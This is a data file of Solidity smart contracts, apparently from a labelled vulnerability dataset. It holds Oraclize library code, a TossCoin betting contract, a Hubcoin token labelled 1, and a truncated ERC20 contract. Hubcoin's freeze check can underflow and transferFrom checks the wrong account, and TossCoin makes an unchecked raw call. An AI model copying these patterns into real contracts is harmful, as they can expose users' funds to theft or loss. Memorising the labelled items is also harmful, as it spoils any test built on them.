dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN.value(price)(0, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, bytes[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN.value(price)(timestamp, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, bytes[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit);
}
function oraclize_query(string datasource, bytes[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(0, datasource, args, gaslimit);
}
function oraclize_query(string datasource, bytes[1] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[1] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[2] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[2] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[3] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[3] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[4] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[4] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[5] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[5] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_cbAddress() oraclizeAPI internal returns (address){
return oraclize.cbAddress();
}
function oraclize_setProof(byte proofP) oraclizeAPI internal {
return oraclize.setProofType(proofP);
}
function oraclize_setCustomGasPrice(uint gasPrice) oraclizeAPI internal {
return oraclize.setCustomGasPrice(gasPrice);
}
function oraclize_randomDS_getSessionPubKeyHash() oraclizeAPI internal returns (bytes32){
return oraclize.randomDS_getSessionPubKeyHash();
}
function getCodeSize(address _addr) view internal returns(uint _size) {
assembly {
_size := extcodesize(_addr)
}
}
function parseAddr(string _a) internal pure returns (address){
bytes memory tmp = bytes(_a);
uint160 iaddr = 0;
uint160 b1;
uint160 b2;
for (uint i=2; i<2+2*20; i+=2){
iaddr *= 256;
b1 = uint160(tmp[i]);
b2 = uint160(tmp[i+1]);
if ((b1 >= 97)&&(b1 <= 102)) b1 -= 87;
else if ((b1 >= 65)&&(b1 <= 70)) b1 -= 55;
else if ((b1 >= 48)&&(b1 <= 57)) b1 -= 48;
if ((b2 >= 97)&&(b2 <= 102)) b2 -= 87;
else if ((b2 >= 65)&&(b2 <= 70)) b2 -= 55;
else if ((b2 >= 48)&&(b2 <= 57)) b2 -= 48;
iaddr += (b1*16+b2);
}
return address(iaddr);
}
function strCompare(string _a, string _b) internal pure returns (int) {
bytes memory a = bytes(_a);
bytes memory b = bytes(_b);
uint minLength = a.length;
if (b.length < minLength) minLength = b.length;
for (uint i = 0; i < minLength; i ++)
if (a[i] < b[i])
return -1;
else if (a[i] > b[i])
return 1;
if (a.length < b.length)
return -1;
else if (a.length > b.length)
return 1;
else
return 0;
}
function indexOf(string _haystack, string _needle) internal pure returns (int) {
bytes memory h = bytes(_haystack);
bytes memory n = bytes(_needle);
if(h.length < 1 || n.length < 1 || (n.length > h.length))
return -1;
else if(h.length > (2**128 -1))
return -1;
else
{
uint subindex = 0;
for (uint i = 0; i < h.length; i ++)
{
if (h[i] == n[0])
{
subindex = 1;
while(subindex < n.length && (i + subindex) < h.length && h[i + subindex] == n[subindex])
{
subindex++;
}
if(subindex == n.length)
return int(i);
}
}
return -1;
}
}
function strConcat(string _a, string _b, string _c, string _d, string _e) internal pure returns (string) {
bytes memory _ba = bytes(_a);
bytes memory _bb = bytes(_b);
bytes memory _bc = bytes(_c);
bytes memory _bd = bytes(_d);
bytes memory _be = bytes(_e);
string memory abcde = new string(_ba.length + _bb.length + _bc.length + _bd.length + _be.length);
bytes memory babcde = bytes(abcde);
uint k = 0;
for (uint i = 0; i < _ba.length; i++) babcde[k++] = _ba[i];
for (i = 0; i < _bb.length; i++) babcde[k++] = _bb[i];
for (i = 0; i < _bc.length; i++) babcde[k++] = _bc[i];
for (i = 0; i < _bd.length; i++) babcde[k++] = _bd[i];
for (i = 0; i < _be.length; i++) babcde[k++] = _be[i];
return string(babcde);
}
function strConcat(string _a, string _b, string _c, string _d) internal pure returns (string) {
return strConcat(_a, _b, _c, _d, "");
}
function strConcat(string _a, string _b, string _c) internal pure returns (string) {
return strConcat(_a, _b, _c, "", "");
}
function strConcat(string _a, string _b) internal pure returns (string) {
return strConcat(_a, _b, "", "", "");
}
function parseInt(string _a) internal pure returns (uint) {
return parseInt(_a, 0);
}
function parseInt(string _a, uint _b) internal pure returns (uint) {
bytes memory bresult = bytes(_a);
uint mint = 0;
bool decimals = false;
for (uint i=0; i<bresult.length; i++){
if ((bresult[i] >= 48)&&(bresult[i] <= 57)){
if (decimals){
if (_b == 0) break;
else _b--;
}
mint *= 10;
mint += uint(bresult[i]) - 48;
} else if (bresult[i] == 46) decimals = true;
}
if (_b > 0) mint *= 10**_b;
return mint;
}
function uint2str(uint i) internal pure returns (string){
if (i == 0) return "0";
uint j = i;
uint len;
while (j != 0){
len++;
j /= 10;
}
bytes memory bstr = new bytes(len);
uint k = len - 1;
while (i != 0){
bstr[k--] = byte(48 + i % 10);
i /= 10;
}
return string(bstr);
}
using CBOR for Buffer.buffer;
function stra2cbor(string[] arr) internal pure returns (bytes) {
safeMemoryCleaner();
Buffer.buffer memory buf;
Buffer.init(buf, 1024);
buf.startArray();
for (uint i = 0; i < arr.length; i++) {
buf.encodeString(arr[i]);
}
buf.endSequence();
return buf.buf;
}
function ba2cbor(bytes[] arr) internal pure returns (bytes) {
safeMemoryCleaner();
Buffer.buffer memory buf;
Buffer.init(buf, 1024);
buf.startArray();
for (uint i = 0; i < arr.length; i++) {
buf.encodeBytes(arr[i]);
}
buf.endSequence();
return buf.buf;
}
string oraclize_network_name;
function oraclize_setNetworkName(string _network_name) internal {
oraclize_network_name = _network_name;
}
function oraclize_getNetworkName() internal view returns (string) {
return oraclize_network_name;
}
function oraclize_newRandomDSQuery(uint _delay, uint _nbytes, uint _customGasLimit) internal returns (bytes32){
require((_nbytes > 0) && (_nbytes <= 32));
_delay *= 10;
bytes memory nbytes = new bytes(1);
nbytes[0] = byte(_nbytes);
bytes memory unonce = new bytes(32);
bytes memory sessionKeyHash = new bytes(32);
bytes32 sessionKeyHash_bytes32 = oraclize_randomDS_getSessionPubKeyHash();
assembly {
mstore(unonce, 0x20)
mstore(add(unonce, 0x20), xor(blockhash(sub(number, 1)), xor(coinbase, timestamp)))
mstore(sessionKeyHash, 0x20)
mstore(add(sessionKeyHash, 0x20), sessionKeyHash_bytes32)
}
bytes memory delay = new bytes(32);
assembly {
mstore(add(delay, 0x20), _delay)
}
bytes memory delay_bytes8 = new bytes(8);
copyBytes(delay, 24, 8, delay_bytes8, 0);
bytes[4] memory args = [unonce, nbytes, sessionKeyHash, delay];
bytes32 queryId = oraclize_query("random", args, _customGasLimit);
bytes memory delay_bytes8_left = new bytes(8);
assembly {
let x := mload(add(delay_bytes8, 0x20))
mstore8(add(delay_bytes8_left, 0x27), div(x, 0x100000000000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x26), div(x, 0x1000000000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x25), div(x, 0x10000000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x24), div(x, 0x100000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x23), div(x, 0x1000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x22), div(x, 0x10000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x21), div(x, 0x100000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x20), div(x, 0x1000000000000000000000000000000000000000000000000))
}
oraclize_randomDS_setCommitment(queryId, keccak256(abi.encodePacked(delay_bytes8_left, args[1], sha256(args[0]), args[2])));
return queryId;
}
function oraclize_randomDS_setCommitment(bytes32 queryId, bytes32 commitment) internal {
oraclize_randomDS_args[queryId] = commitment;
}
mapping(bytes32=>bytes32) oraclize_randomDS_args;
mapping(bytes32=>bool) oraclize_randomDS_sessionKeysHashVerified;
function verifySig(bytes32 tosignh, bytes dersig, bytes pubkey) internal returns (bool){
bool sigok;
address signer;
bytes32 sigr;
bytes32 sigs;
bytes memory sigr_ = new bytes(32);
uint offset = 4+(uint(dersig[3]) - 0x20);
sigr_ = copyBytes(dersig, offset, 32, sigr_, 0);
bytes memory sigs_ = new bytes(32);
offset += 32 + 2;
sigs_ = copyBytes(dersig, offset+(uint(dersig[offset-1]) - 0x20), 32, sigs_, 0);
assembly {
sigr := mload(add(sigr_, 32))
sigs := mload(add(sigs_, 32))
}
(sigok, signer) = safer_ecrecover(tosignh, 27, sigr, sigs);
if (address(keccak256(pubkey)) == signer) return true;
else {
(sigok, signer) = safer_ecrecover(tosignh, 28, sigr, sigs);
return (address(keccak256(pubkey)) == signer);
}
}
function oraclize_randomDS_proofVerify__sessionKeyValidity(bytes proof, uint sig2offset) internal returns (bool) {
bool sigok;
bytes memory sig2 = new bytes(uint(proof[sig2offset+1])+2);
copyBytes(proof, sig2offset, sig2.length, sig2, 0);
bytes memory appkey1_pubkey = new bytes(64);
copyBytes(proof, 3+1, 64, appkey1_pubkey, 0);
bytes memory tosign2 = new bytes(1+65+32);
tosign2[0] = byte(1);
copyBytes(proof, sig2offset-65, 65, tosign2, 1);
bytes memory CODEHASH = hex"fd94fa71bc0ba10d39d464d0d8f465efeef0a2764e3887fcc9df41ded20f505c";
copyBytes(CODEHASH, 0, 32, tosign2, 1+65);
sigok = verifySig(sha256(tosign2), sig2, appkey1_pubkey);
if (sigok == false) return false;
bytes memory LEDGERKEY = hex"7fb956469c5c9b89840d55b43537e66a98dd4811ea0a27224272c2e5622911e8537a2f8e86a46baec82864e98dd01e9ccc2f8bc5dfc9cbe5a91a290498dd96e4";
bytes memory tosign3 = new bytes(1+65);
tosign3[0] = 0xFE;
copyBytes(proof, 3, 65, tosign3, 1);
bytes memory sig3 = new bytes(uint(proof[3+65+1])+2);
copyBytes(proof, 3+65, sig3.length, sig3, 0);
sigok = verifySig(sha256(tosign3), sig3, LEDGERKEY);
return sigok;
}
modifier oraclize_randomDS_proofVerify(bytes32 _queryId, string _result, bytes _proof) {
require((_proof[0] == "L") && (_proof[1] == "P") && (_proof[2] == 1));
bool proofVerified = oraclize_randomDS_proofVerify__main(_proof, _queryId, bytes(_result), oraclize_getNetworkName());
require(proofVerified);
_;
}
function oraclize_randomDS_proofVerify__returnCode(bytes32 _queryId, string _result, bytes _proof) internal returns (uint8){
if ((_proof[0] != "L")||(_proof[1] != "P")||(_proof[2] != 1)) return 1;
bool proofVerified = oraclize_randomDS_proofVerify__main(_proof, _queryId, bytes(_result), oraclize_getNetworkName());
if (proofVerified == false) return 2;
return 0;
}
function matchBytes32Prefix(bytes32 content, bytes prefix, uint n_random_bytes) internal pure returns (bool){
bool match_ = true;
require(prefix.length == n_random_bytes);
for (uint256 i=0; i< n_random_bytes; i++) {
if (content[i] != prefix[i]) match_ = false;
}
return match_;
}
function oraclize_randomDS_proofVerify__main(bytes proof, bytes32 queryId, bytes result, string context_name) internal returns (bool){
uint ledgerProofLength = 3+65+(uint(proof[3+65+1])+2)+32;
bytes memory keyhash = new bytes(32);
copyBytes(proof, ledgerProofLength, 32, keyhash, 0);
if (!(keccak256(keyhash) == keccak256(abi.encodePacked(sha256(abi.encodePacked(context_name, queryId)))))) return false;
bytes memory sig1 = new bytes(uint(proof[ledgerProofLength+(32+8+1+32)+1])+2);
copyBytes(proof, ledgerProofLength+(32+8+1+32), sig1.length, sig1, 0);
if (!matchBytes32Prefix(sha256(sig1), result, uint(proof[ledgerProofLength+32+8]))) return false;
bytes memory commitmentSlice1 = new bytes(8+1+32);
copyBytes(proof, ledgerProofLength+32, 8+1+32, commitmentSlice1, 0);
bytes memory sessionPubkey = new bytes(64);
uint sig2offset = ledgerProofLength+32+(8+1+32)+sig1.length+65;
copyBytes(proof, sig2offset-64, 64, sessionPubkey, 0);
bytes32 sessionPubkeyHash = sha256(sessionPubkey);
if (oraclize_randomDS_args[queryId] == keccak256(abi.encodePacked(commitmentSlice1, sessionPubkeyHash))){
delete oraclize_randomDS_args[queryId];
} else return false;
bytes memory tosign1 = new bytes(32+8+1+32);
copyBytes(proof, ledgerProofLength, 32+8+1+32, tosign1, 0);
if (!verifySig(sha256(tosign1), sig1, sessionPubkey)) return false;
if (oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash] == false){
oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash] = oraclize_randomDS_proofVerify__sessionKeyValidity(proof, sig2offset);
}
return oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash];
}
function copyBytes(bytes from, uint fromOffset, uint length, bytes to, uint toOffset) internal pure returns (bytes) {
uint minLength = length + toOffset;
require(to.length >= minLength);
uint i = 32 + fromOffset;
uint j = 32 + toOffset;
while (i < (32 + fromOffset + length)) {
assembly {
let tmp := mload(add(from, i))
mstore(add(to, j), tmp)
}
i += 32;
j += 32;
}
return to;
}
function safer_ecrecover(bytes32 hash, uint8 v, bytes32 r, bytes32 s) internal returns (bool, address) {
bool ret;
address addr;
assembly {
let size := mload(0x40)
mstore(size, hash)
mstore(add(size, 32), v)
mstore(add(size, 64), r)
mstore(add(size, 96), s)
ret := call(3000, 1, 0, size, 128, size, 32)
addr := mload(size)
}
return (ret, addr);
}
function ecrecovery(bytes32 hash, bytes sig) internal returns (bool, address) {
bytes32 r;
bytes32 s;
uint8 v;
if (sig.length != 65)
return (false, 0);
assembly {
r := mload(add(sig, 32))
s := mload(add(sig, 64))
v := byte(0, mload(add(sig, 96)))
}
if (v < 27)
v += 27;
if (v != 27 && v != 28)
return (false, 0);
return safer_ecrecover(hash, v, r, s);
}
function safeMemoryCleaner() internal pure {
assembly {
let fmem := mload(0x40)
codecopy(fmem, codesize, sub(msize, fmem))
}
}
}
contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() internal {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns(address) {
return _owner;
}
modifier onlyOwner() {
require(isOwner(), "Access denied");
_;
}
function isOwner() public view returns(bool) {
return msg.sender == _owner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "Zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract TossCoin is Ownable, usingOraclize {
struct Game {
address addr;
uint bet;
bool option;
}
uint public min_bet = 0.05 ether;
uint public max_bet = 2 ether;
uint public rate = 195;
address public ethergames;
mapping(bytes32 => Game) public games;
mapping(address => address) public refferals;
event NewGame(bytes32 indexed id);
event FinishGame(bytes32 indexed id, address indexed addr, uint bet, bool option, bool result, uint win);
event Withdraw(address indexed to, uint value);
constructor() payable public {}
function() payable external {}
function __callback(bytes32 id, string res) public {
require(msg.sender == oraclize_cbAddress(), "Permission denied");
require(games[id].bet > 0, "Game not found");
bool result = parseInt(res) == 1;
uint win = games[id].option == result ? winSize(games[id].bet) : 0;
emit FinishGame(id, games[id].addr, games[id].bet, games[id].option, result, win);
if(win > 0) {
games[id].addr.transfer(win);
if(refferals[games[id].addr] != address(0)) {
refferals[games[id].addr].transfer(win / 100);
}
}
if(ethergames != address(0)) {
ethergames.call.value(games[id].bet / 100).gas(45000)();
}
delete games[id];
}
function winSize(uint bet) view public returns(uint) {
return bet * rate / 100;
}
function play(bool option, address refferal) payable external {
require(msg.value >= min_bet && msg.value <= max_bet, "Bet does not match the interval");
require(oraclize_getPrice("URL") + winSize(msg.value) <= address(this).balance, "Insufficient funds");
bytes32 id = oraclize_query("WolframAlpha", "RandomInteger[{0, 1}]");
games[id] = Game({
addr: msg.sender,
bet: msg.value,
option: option
});
if(refferal != address(0) && refferals[msg.sender] == address(0)) {
refferals[msg.sender] = refferal;
}
emit NewGame(id);
}
function play(bool option) payable external {
this.play(option, address(0));
}
function withdraw(address to, uint value) onlyOwner external {
require(to != address(0), "Zero address");
require(address(this).balance >= value, "Insufficient funds");
to.transfer(value);
emit Withdraw(to, value);
}
function setRate(uint value) onlyOwner external {
rate = value;
}
function setMinBet(uint value) onlyOwner external {
min_bet = value;
}
function setMaxBet(uint value) onlyOwner external {
max_bet = value;
}
function setEtherGames(address value) onlyOwner external {
if(ethergames == address(0)) {
ethergames = value;
}
}
} | 0 | 593 |
pragma solidity ^0.4.13;
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) constant returns (uint256);
function transfer(address to, uint256 value) returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) constant returns (uint256);
function transferFrom(address from, address to, uint256 value) returns (bool);
function approve(address spender, uint256 value) returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) returns (bool) {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
function transferFrom(address _from, address _to, uint256 _value) returns (bool) {
var _allowance = allowed[_from][msg.sender];
balances[_to] = balances[_to].add(_value);
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) returns (bool) {
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
contract Ownable {
address public owner;
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused returns (bool) {
paused = true;
Pause();
return true;
}
function unpause() onlyOwner whenPaused returns (bool) {
paused = false;
Unpause();
return true;
}
}
contract Hubcoin is StandardToken, Pausable {
string public constant name = 'Hubcoin';
string public constant symbol = 'HUB';
uint8 public constant decimals = 6;
uint256 public constant INITIAL_SUPPLY = 326804 * 10**uint256(decimals);
uint256 public constant total_freeze_term = 86400*365;
uint256 public constant launch_date = 1501545600;
uint256 public constant owner_freeze_start = 1506782212;
uint256 public constant owner_freeze_term = 3600*24;
mapping (address => uint256) public frozenAccount;
event FrozenFunds(address target, uint256 frozen);
event Burn(address burner, uint256 burned);
function Hubcoin() {
totalSupply = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
}
function transfer(address _to, uint256 _value) whenNotPaused returns (bool) {
freezeCheck(msg.sender, _value);
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) whenNotPaused returns (bool) {
freezeCheck(msg.sender, _value);
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value) whenNotPaused returns (bool) {
return super.approve(_spender, _value);
}
function freezeAccount(address target, uint256 freeze) onlyOwner {
require(block.timestamp < (owner_freeze_start + owner_freeze_term));
frozenAccount[target] = freeze;
FrozenFunds(target, freeze);
}
function freezeCheck(address _from, uint256 _value) returns (bool) {
uint forbiddenPremine = launch_date - block.timestamp + total_freeze_term;
if (forbiddenPremine < 0) forbiddenPremine = 0;
require(balances[_from] >= _value.add( frozenAccount[_from] * forbiddenPremine / total_freeze_term) );
return true;
}
function burn(uint256 _value) onlyOwner public {
require(_value > 0);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
Burn(burner, _value);
}
} | 1 | 2,725 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
